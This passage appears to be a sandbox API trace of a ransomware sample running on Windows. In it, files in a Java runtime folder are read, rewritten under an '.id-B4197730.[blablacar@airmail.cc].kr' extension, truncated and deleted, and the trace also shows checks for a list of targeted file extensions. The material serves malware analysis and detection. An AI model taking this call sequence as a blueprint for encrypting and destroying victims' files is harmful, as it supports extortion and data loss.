lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString=".doc") returned 4 [0178.502] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".docx") returned 5 [0178.502] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.502] lstrlenW (lpString=".pdf") returned 4 [0178.502] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".xls") returned 4 [0178.502] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".xlsx") returned 5 [0178.502] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.502] lstrlenW (lpString=".ppt") returned 4 [0178.502] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString=".zip") returned 4 [0178.502] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".rar") returned 4 [0178.502] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".bz2") returned 4 [0178.502] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString=".7z") returned 3 [0178.502] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString=".dbf") returned 4 [0178.502] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString=".1cd") returned 4 [0178.502] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.502] lstrlenW (lpString=".jpg") returned 4 [0178.503] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString=".doc") returned 4 [0178.503] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".docx") returned 5 [0178.503] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.503] lstrlenW (lpString=".pdf") returned 4 [0178.503] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".xls") returned 4 [0178.503] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".xlsx") returned 5 [0178.503] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.503] lstrlenW (lpString=".ppt") returned 4 [0178.503] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString=".zip") returned 4 [0178.503] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".rar") returned 4 [0178.503] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".bz2") returned 4 [0178.503] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString=".7z") returned 3 [0178.503] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString=".dbf") returned 4 [0178.503] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString=".1cd") returned 4 [0178.503] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0178.503] lstrlenW (lpString=".jpg") returned 4 [0178.503] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.504] lstrcmpiW (lpString1=".data", lpString2=".kr") returned -1 [0178.504] lstrlenW (lpString="currency.data") returned 13 [0178.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.504] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=4122) returned 1 [0178.504] CloseHandle (hObject=0x404) returned 1 [0178.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0178.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.505] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.505] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.506] GetLastError () returned 0x0 [0178.506] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x101a, lpOverlapped=0x0) returned 1 [0178.951] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1020, lpOverlapped=0x0) returned 1 [0178.952] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.952] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xee, lpOverlapped=0x0) returned 1 [0178.952] SetEndOfFile (hFile=0x45c) returned 1 [0178.952] CloseHandle (hObject=0x45c) returned 1 [0178.953] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.954] SetEndOfFile (hFile=0x404) returned 1 [0178.956] CloseHandle (hObject=0x404) returned 1 [0178.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.957] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0178.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.957] lstrlenW (lpString=".doc") returned 4 [0178.957] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0178.957] lstrlenW (lpString=".docx") returned 5 [0178.957] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0178.957] lstrlenW (lpString=".pdf") returned 4 [0178.957] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0178.957] lstrlenW (lpString=".xls") returned 4 [0178.957] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".xlsx") returned 5 [0178.958] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0178.958] lstrlenW (lpString=".ppt") returned 4 [0178.958] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString=".zip") returned 4 [0178.958] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".rar") returned 4 [0178.958] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".bz2") returned 4 [0178.958] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".7z") returned 3 [0178.958] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString=".dbf") returned 4 [0178.958] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString=".1cd") returned 4 [0178.958] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString=".jpg") returned 4 [0178.958] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.958] lstrlenW (lpString=".doc") returned 4 [0178.958] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".docx") returned 5 [0178.958] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0178.958] lstrlenW (lpString=".pdf") returned 4 [0178.958] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0178.958] lstrlenW (lpString=".xls") returned 4 [0178.959] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0178.959] lstrlenW (lpString=".xlsx") returned 5 [0178.959] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0178.959] lstrlenW (lpString=".ppt") returned 4 [0178.959] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.959] lstrlenW (lpString=".zip") returned 4 [0178.959] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0178.959] lstrlenW (lpString=".rar") returned 4 [0178.959] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0178.959] lstrlenW (lpString=".bz2") returned 4 [0178.959] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0178.959] lstrlenW (lpString=".7z") returned 3 [0178.959] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.959] lstrlenW (lpString=".dbf") returned 4 [0178.959] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.959] lstrlenW (lpString=".1cd") returned 4 [0178.959] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0178.959] lstrlenW (lpString=".jpg") returned 4 [0178.959] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0178.959] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.959] lstrlenW (lpString="messages_fr.properties") returned 22 [0178.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.960] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3409) returned 1 [0178.960] CloseHandle (hObject=0x404) returned 1 [0178.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0178.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.961] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.961] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.961] GetLastError () returned 0x0 [0178.961] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xd51, lpOverlapped=0x0) returned 1 [0178.964] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xd60, lpOverlapped=0x0) returned 1 [0178.966] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.966] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x100, lpOverlapped=0x0) returned 1 [0178.966] SetEndOfFile (hFile=0x45c) returned 1 [0178.966] CloseHandle (hObject=0x45c) returned 1 [0178.967] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.967] SetEndOfFile (hFile=0x404) returned 1 [0178.970] CloseHandle (hObject=0x404) returned 1 [0178.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.971] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0178.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.971] lstrlenW (lpString=".doc") returned 4 [0178.972] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".docx") returned 5 [0178.972] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.972] lstrlenW (lpString=".pdf") returned 4 [0178.972] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".xls") returned 4 [0178.972] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".xlsx") returned 5 [0178.972] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.972] lstrlenW (lpString=".ppt") returned 4 [0178.972] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.972] lstrlenW (lpString=".zip") returned 4 [0178.972] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".rar") returned 4 [0178.972] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".bz2") returned 4 [0178.972] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString=".7z") returned 3 [0178.972] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.972] lstrlenW (lpString=".dbf") returned 4 [0178.972] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.972] lstrlenW (lpString=".1cd") returned 4 [0178.972] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.972] lstrlenW (lpString=".jpg") returned 4 [0178.972] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.973] lstrlenW (lpString=".doc") returned 4 [0178.973] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".docx") returned 5 [0178.973] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.973] lstrlenW (lpString=".pdf") returned 4 [0178.973] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".xls") returned 4 [0178.973] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".xlsx") returned 5 [0178.973] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.973] lstrlenW (lpString=".ppt") returned 4 [0178.973] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.973] lstrlenW (lpString=".zip") returned 4 [0178.973] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".rar") returned 4 [0178.973] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".bz2") returned 4 [0178.973] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString=".7z") returned 3 [0178.973] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.973] lstrlenW (lpString=".dbf") returned 4 [0178.973] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.973] lstrlenW (lpString=".1cd") returned 4 [0178.973] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0178.973] lstrlenW (lpString=".jpg") returned 4 [0178.973] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.974] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.974] lstrlenW (lpString="messages_it.properties") returned 22 [0178.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.974] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3223) returned 1 [0178.974] CloseHandle (hObject=0x404) returned 1 [0178.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0178.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.975] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.975] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.975] GetLastError () returned 0x0 [0178.975] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xc97, lpOverlapped=0x0) returned 1 [0178.977] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xca0, lpOverlapped=0x0) returned 1 [0178.978] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x100, lpOverlapped=0x0) returned 1 [0178.978] SetEndOfFile (hFile=0x45c) returned 1 [0178.979] CloseHandle (hObject=0x45c) returned 1 [0178.980] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.980] SetEndOfFile (hFile=0x404) returned 1 [0178.982] CloseHandle (hObject=0x404) returned 1 [0178.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.983] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0178.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString=".doc") returned 4 [0178.984] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".docx") returned 5 [0178.984] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.984] lstrlenW (lpString=".pdf") returned 4 [0178.984] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".xls") returned 4 [0178.984] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".xlsx") returned 5 [0178.984] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.984] lstrlenW (lpString=".ppt") returned 4 [0178.984] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString=".zip") returned 4 [0178.984] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".rar") returned 4 [0178.984] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".bz2") returned 4 [0178.984] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString=".7z") returned 3 [0178.984] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString=".dbf") returned 4 [0178.984] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString="C:\\Program 